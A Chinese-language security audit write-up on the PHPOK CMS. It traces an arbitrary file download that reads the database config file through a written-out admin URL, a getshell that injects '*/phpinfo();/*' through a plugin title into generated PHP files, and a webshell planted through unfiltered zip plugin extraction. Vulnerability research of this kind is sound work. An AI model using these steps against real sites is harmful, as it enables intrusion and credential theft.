0x00 前言:

首先本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。

0x01 CMS简介:

PHPOK企业站系统(以下简称系统或本系统),采用PHP+MYSQL语言开发,是一套成熟完善的企业站CMS系统。本系统函盖功能全面,自定义功能强大,扩展性较好、安全性较高。可以轻松解决大部分企业站需求。

0x02 正文:

  1. 任意文件下载:
  2. 漏洞所在处:/framework/admin/res_action_control.php
  3. 漏洞所在行:即为以下代码的内容
  1. <?php
  2. public function download_f()
  3. {
  4. $file = $this->get("file");
  5. $id = $this->get("id");
  6. if(!$id && !$file){
  7. $this->error(P_Lang('未指定ID'));
  8. }
  9. if($id){
  10. $rs = $this->model('res')->get_one($id);
  11. $file = $rs["filename"];
  12. $title = $rs["title"].".".$rs["ext"];
  13. }else{
  14. $title = basename($file);
  15. }
  16. if(!$file){
  17. $this->error(P_Lang('未指定附件'));
  18. }
  19. if(substr($file,0,7) != "http://" && substr($file,0,8) != "https://"){
  20. $file = $this->dir_root.$file;
  21. if(!file_exists($file)){
  22. $this->error(P_Lang('附件不存在'));
  23. }
  24. }
  25. $this->lib('file')->download($file,$title);
  26. }

4-5行可以看出来我们可以拿到两个可控点,看到第10行我们就可以果断的判断id造成任意文件下载的可能性很低了,因为是查询的数据库获取的文件信息。 我们就将关注点放置file处,我们来分析分析。从9-15行if语句中我们大概可以猜出来这里是要做什么操作。 首先判断是否以文件id的方式下载文件。如果是的话那么就读取数据库中的数据,如果不以id的形式的话就直接使用get中的file参数并且赋值给$title。 继续看。20行开始,如果$file的前7位不等于http并且前8位不等于https的话就直接路径+$file。之后判断是否文件是否存在。
看到: $this->lib('file')->download($file,$title),这里调用了file类的download方法并且将文件地址和文件名传了进去。我们跟踪到download方法中。

  1. <?php
  2. /**
  3. * 附件下载
  4. * @参数 $file 要下载的文件地址
  5. * @参数 $title 下载后的文件名
  6. **/
  7. public function download($file,$title='')
  8. {
  9. if(!$file){
  10. return false;
  11. }
  12. if(!file_exists($file)){
  13. return false;
  14. }
  15. $ext = pathinfo($file,PATHINFO_EXTENSION);
  16. $filesize = filesize($file);
  17. if(!$title){
  18. $title = basename($file);
  19. }else{
  20. $title = str_replace('.'.$ext,'',$title);
  21. $title.= '.'.$ext;
  22. }
  23. ob_end_clean();
  24. header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT");
  25. header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT");
  26. header("Content-Encoding: none");
  27. if(isset($_SERVER["HTTP_USER_AGENT"]) && preg_match("/Firefox/",$_SERVER["HTTP_USER_AGENT"])){
  28. header("Content-Disposition: attachment; filename*=\"utf8''".rawurlencode($title)."\"");
  29. }else{
  30. header("Content-Disposition: attachment; filename=".rawurlencode($title));
  31. }
  32. header("Accept-Ranges: bytes");
  33. $range = 0;
  34. $size2 = $filesize -1;
  35. if (isset ($_SERVER['HTTP_RANGE'])) {
  36. list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
  37. $new_length = $size2 - $range;
  38. header("HTTP/1.1 206 Partial Content");
  39. header("Content-Length: ".$new_length); //输入总长
  40. header("Content-Range: bytes ".$range."-".$size2."/".$filesize);
  41. } else {
  42. header("Content-Range: bytes 0-".$size2."/".$filesize); //Content-Range: bytes 0-4988927/4988928
  43. header("Content-Length: ".$filesize);
  44. }
  45. $handle = fopen($file, "rb");
  46. fseek($handle, $range);
  47. set_time_limit(0);
  48. while (!feof($handle)) {
  49. print (fread($handle, 1024 * 8));
  50. flush();
  51. ob_flush();
  52. }
  53. fclose($handle);
  54. }

看到以上代码,可以明显的看出并没有做任何的文件限制以及判断。这个方法直接就是一个下载的方法了。所以应该需要在调用该类之前做限制。限制文件目录以及文件类型。在调用该类之前做判断是因为这个类毕竟可能是用于多个场景之中。

  1. <?php
  2. /**
  3. * 定义网站程序根目录,对应入口的**ROOT**,为空使用./
  4. **/
  5. public $dir_root = "./";
  1. <?php
  2. /**
  3. * 配置网站全局常量
  4. */
  5. private function init_constant()
  6. {
  7. //配置网站根目录
  8. if(!defined("ROOT")){
  9. define("ROOT",str_replace("\\","/",dirname(__FILE__))."/../");
  10. }
  11. $this->dir_root = ROOT;
  12. if(substr($this->dir_root,-1) != "/"){
  13. $this->dir_root .= "/";
  14. /*代码省略**/
  15. }

通过配置文件得到。$this->dir_root路径为网站根目录。其实最简单的方法就是直接打印出来就好了。
URL:http://www.bugsafe.cn/admin.php?c=res_action&f=download&file=_config/db.ini.php
1.png
2.png

  1. 后台Getshell分析第一处#:
  2. 漏洞所在处:/framework/admin/plugin_control.php
  3. 漏洞所在行:即为以下代码的内容
  1. <?php
  2. /**
  3. * 创建插件
  4. **/
  5. public function create_f()
  6. {
  7. $title = $this->get('title');
  8. if(!$title){
  9. $this->json(P_Lang('插件名称不能为空'));
  10. }
  11. $id = $this->get('id','system');
  12. if($id){
  13. if(strpos($id,'_') !== false){
  14. $this->json(P_Lang('插件标识不支持下划线'));
  15. }
  16. $id = strtolower($id);
  17. }else{
  18. $id = md5($title.'-phpok.com-'.uniqid(rand(), true));
  19. }
  20. //检测插件文件夹是否存在
  21. if(file_exists($this->dir_root.'plugins/'.$id)){
  22. $this->json(P_Lang('插件标识已被使用,请重新设置'));
  23. }
  24. $note = $this->get('note');
  25. $author = $this->get('author');
  26. if(!$author){
  27. $author = 'phpok.com';
  28. }
  29. if(!$note){
  30. $note = P_Lang('自定义插件');
  31. }
  32. //创建XML文件
  33. $content = '<?xml version="1.0" encoding="utf-8"?>'."\n";
  34. $content.= '<root>'."\n\t";
  35. $content.= '<title>'.$title.'</title>'."\n\t";
  36. $content.= '<desc>'.$note.'</desc>'."\n\t";
  37. $content.= '<author>'.$author.'</author>'."\n\t";
  38. $content.= '<version>1.0</version>'."\n";
  39. $content.= '</root>';
  40. $this->lib('file')->vim($content,$this->dir_root.'plugins/'.$id.'/config.xml');
  41. $this->lib('file')->vim('',$this->dir_root.'plugins/'.$id.'/template/setting.html');
  42. $array = array('www','api','admin','install','uninstall','setting');
  43. foreach($array as $key=>$value){
  44. $content = '<?php'."\n".$this->php_note_title($id,$value,$title,$author)."\n".$this->php_demo($id,$value);
  45. $this->lib('file')->vim($content,$this->dir_root.'plugins/'.$id.'/'.$value.'.php');
  46. }
  47. $this->json(true);
  48. }

从32行开始看,32行前面的就被不说了,因为都是一些接收参数以及一些无关要紧的判断。看到40-41行从代码意思上可以看到写入的是一个xml以及html文件,所以继续往下走。
看到42-46行重点来了。首先是声明了一个数组。之后有一个foreach开始循环。将$content写入到$array数组里面所对应的值创建的文件(比如:www.php,api.php)。来看看$content最后拿到的内容是什么。首先呢。是调用了php_note_title方法并且将接收到的参数传了进去。去看看该方法做了什么操作。

  1. <?php
  2. private function php_note_title($id,$fileid,$title='',$author='')
  3. {
  4. $note = '';
  5. switch($fileid) {
  6. case "admin":
  7. $note = P_Lang('后台应用');
  8. break;
  9. case 'www':
  10. $note = P_Lang('前台应用');
  11. break;
  12. case 'api':
  13. $note = P_Lang('接口应用');
  14. break;
  15. case 'install':
  16. $note = P_Lang('插件安装');
  17. break;
  18. case 'uninstall':
  19. $note = P_Lang('插件卸载');
  20. break;
  21. case 'setting':
  22. $note = P_Lang('插件配置');
  23. break;
  24. default:
  25. $note = P_Lang('未知');
  26. }
  27. $string = "/**\n";
  28. $string.= " * ".$title.($note ? '<'.$note.'>': '')."\n";
  29. $string.= " * @package phpok\\\plugins\n";
  30. if($author){
  31. $string.= " * @作者 ".$author."\n";
  32. }
  33. $string.= " * @版本 ".$this->version."\n";
  34. $string.= " * @授权 http://www.phpok.com/lgpl.html PHPOK开源授权协议:GNU Lesser General Public License\n";
  35. $string.= " * @时间 ".date("Y年m月d日 H时i分",$this->time)."\n";
  36. $string.= "**/";
  37. return $string;
  38. }

27-37行可以看到这里就是一串注释的信息代码。经过测试。发现该程序是将各种特殊字符直接转义了的。所以是没有办法采用闭合单引号,双引号的方式。还有好几个地方的修改都是修改的是文件的内容。对于正常情况转义了单引号或者双引号的话,就造成不了闭合了。
这个文件是因为有了注释所以才导致的getshell。我们可以直接构造。使用:*/phpinfo();/*即可成功插入并且执行。
$content最后获取到的内容已经知道了接下来继续往下看。

$this->lib('file')->vim($content,$this->dir_root.'plugins/'.$id.'/'.$value.'.php');
来看看vim做的是什么操作。

  1. <?php
  2. /**
  3. * 存储php等源码文件,不会写入安全保护
  4. * @参数 $content 要保存的内容
  5. * @参数 $file 保存的地址
  6. * @返回 true
  7. **/
  8. public function vim($content,$file,$type="wb")
  9. {
  10. // var_dump($content);
  11. // var_dump($file);exit;
  12. $this->make($file,"file");
  13. $this->_write($content,$file,$type);
  14. return true;
  15. }

直接看到13行,将内容写入到文件中。我们定位_write中。

  1. <?php
  2. /**
  3. * 写入信息
  4. * @参数 $content 内容
  5. * @参数 $file 要写入的文件
  6. * @参数 $type 打开方式
  7. * @返回 true
  8. **/
  9. private function _write($content,$file,$type="wb")
  10. {
  11. if($content){
  12. $content = stripslashes($content);
  13. }
  14. $handle = $this->_open($file,$type);
  15. fwrite($handle,$content);
  16. unset($content);
  17. $this->_close($handle);
  18. return true;
  19. }

可以看到并未做什么特殊处理,只将$content反斜线去除之后就是正常的写入流程。现在已经知道了整个流程。
接下来先定位到这个方法在哪个页面调用的先。
发现是在插件中心里面调用的。直接来试试。
3.png
创建后是发现在plugins创建了一个md5命名的文件夹,里面有一些文件。
命名:$id = md5($title.'-phpok.com-'.uniqid(rand(), true));(这个是在没有传入id的情况下命名)
4.png

随便访问该目录下的一个php文件,因为在上面已经知道了。这个文件是循环创建的。每个文件肯定都有一个注释。然而注释里面肯定都有我们写入的phpinfo()在,打开一个文件看看。
5.png

成功了。接下来有疑问了。我创建了之后。我如何知道这个文件夹名是什么?直接回到插件中心。
6.png

文件夹名就在这里。我们访问试试。
7.png

后台Getshell分析第二处#:
也是在插件中心,有一个上传插件的地方。上传的为zip。抓包看看它上传调用的是哪个方法。
8.png

漏洞所在处:/framework/admin/upload_control.php
漏洞所在行:即为以下代码的内容

  1. <?php
  2. /**
  3. * 接收ZIP包上传,主要用于更新及数据导入,上传的表单ID固定用upfile
  4. **/
  5. public function zip_f()
  6. {
  7. $rs = $this->lib('upload')->zipfile('upfile');
  8. if($rs['status'] != 'ok'){
  9. $this->json($rs['error']);
  10. }
  11. $this->json($rs['filename'],true);
  12. }

在这个方法最重要的操作就是调用了zipfile。定位到zipfile

  1. <?php
  2. /**
  3. * 上传ZIP文件
  4. * @参数 $input,表单名
  5. * @参数 $folder,存储目录,为空使用data/cache/
  6. * @返回 数组,上传状态status及保存的路径
  7. * @更新时间 2016年07月18日
  8. **/
  9. public function zipfile($input,$folder='')
  10. {
  11. if(!$input){
  12. return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
  13. }
  14. //如果未指定存储文件夹,则使用
  15. if(!$folder){
  16. $folder = 'data/cache/';
  17. }
  18. $this->cateid = 0;
  19. $this->set_dir($folder);
  20. $this->set_type('zip');
  21. $this->cate = array('id'=>0,'filemax'=>104857600,'root'=>$folder,'folder'=>'/','filetypes'=>'zip');
  22. if(isset($_FILES[$input])){
  23. $rs = $this->_upload($input);
  24. }else{
  25. $rs = $this->_save($input);
  26. }
  27. if($rs['status'] != 'ok'){
  28. return $rs;
  29. }
  30. $rs['cate'] = $this->cate;
  31. return $rs;
  32. }

可以得知上传后zip存储的路径是data/cache。然后下面就直接调用_upload方法进行了一个上传操作。
9.png
成功上传之后,就需要解压了。
漏洞所在处:/framework/admin/plugin_control.php
漏洞所在行:即为以下代码的内容

  1. <?php
  2. /**
  3. * 解压插件
  4. **/
  5. public function unzip_f()
  6. {
  7. $id = $this->get('id','int');
  8. if(!$id){
  9. $filename = $this->get('filename');
  10. if(!$filename){
  11. $this->json(P_Lang('附件不存在'));
  12. }
  13. }else{
  14. $rs = $this->model('res')->get_one($id);
  15. if(!$rs){
  16. $this->json(P_Lang('附件不存在'));
  17. }
  18. $filename = $rs['filename'];
  19. }
  20. $tmp = strtolower(substr($filename,-4));
  21. if($tmp != '.zip'){
  22. $this->json(P_Lang('非ZIP文件不支持在线解压'));
  23. }
  24. if(!file_exists($this->dir_root.$filename)){
  25. $this->json(P_Lang('文件不存在'));
  26. }
  27. $info = $this->lib('phpzip')->zip_info($this->dir_root.$filename);
  28. $info = current($info);
  29. if(!$info['filename']){
  30. $this->json(P_Lang('插件有异常'));
  31. }
  32. $info = explode('/',$info['filename']);
  33. if(!$info[0]){
  34. $this->json(P_Lang('插件有异常'));
  35. }
  36. if(file_exists($this->dir_root.'plugins/'.$info[0])){
  37. $this->json(P_Lang('插件已存在,不允许重复解压'));
  38. }
  39. $this->lib('phpzip')->unzip($this->dir_root.$filename,$this->dir_root.'plugins/');
  40. $this->json(true);
  41. }

直接看到39行(39行之前的操作估计大家都能看懂),跟踪到unzip方法里面。

  1. <?php
  2. /**
  3. * 解压缩,支持解压的类有:ZipArchive > zip_open > 自写PHP
  4. * @参数 $file,要解压的ZIP文件,完整的路径
  5. * @参数 $to,要解压到的目标文件,如果为空,将解压到当前文件夹
  6. * @返回
  7. * @更新时间
  8. **/
  9. public function unzip($file,$to='')
  10. {
  11. if(class_exists('ZipArchive')){
  12. $zip = new ZipArchive;
  13. $zip->open($file);
  14. $zip->extractTo($to);
  15. $zip->close();
  16. return true;
  17. }
  18. if(function_exists('zip_open') && function_exists('zip_close')){
  19. $zip = zip_open($file);
  20. if($zip){
  21. while ($zip_entry = zip_read($zip)) {
  22. $file = basename(zip_entry_name($zip_entry));
  23. $fp = fopen($to.basename($file), "w+");
  24. if (zip_entry_open($zip, $zip_entry, "r")) {
  25. $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
  26. zip_entry_close($zip_entry);
  27. }
  28. fwrite($fp, $buf);
  29. fclose($fp);
  30. }
  31. zip_close($zip);
  32. return true;
  33. }
  34. }
  35. return $this->Extract($file,$to);
  36. }

首先判断是否存在ZipArchive类。如果存在就使用ZipArchive类。如果不存在继续往下走。判断函数zip_openzip_close函数是否存在。如果存在就使用自带的解压函数。
如果以上两种都不满足。就直接调用一个zip解压类。可以看到以上的流程下来。并为发现有任何过滤的操作(有些cms可能会将文件读取出来之后再去读取文件里面内容)。从而我们只要将一个马上传上去之后就自动解压出来。
来试试。首先plugins目录下是没有单独的php文件的。
10.png
调用完上传之后会自动进行解压。
11.png

12.png

13.png

成功鸟。后台的程序升级处也是可以以这种方法进行getshell。调用的都是同一个类。方法都是一样。(第二处getshell,略过了挺多的代码。那些省略的都是基本逻辑的处理,其实这个zip上传的并没有什么可以说的点,拿出来只是以一个思路的方式去讲,这个思路只是说以后可以多多关注这些地方。这些地方也是有可能存在问题的)。

PS:本着以交流分享。如果有好的方法或者思路以及上文讲述不正确的地方欢迎指出。谢谢!如果有什么语句不通的话望指出。可能是在写文章的时候没太注意。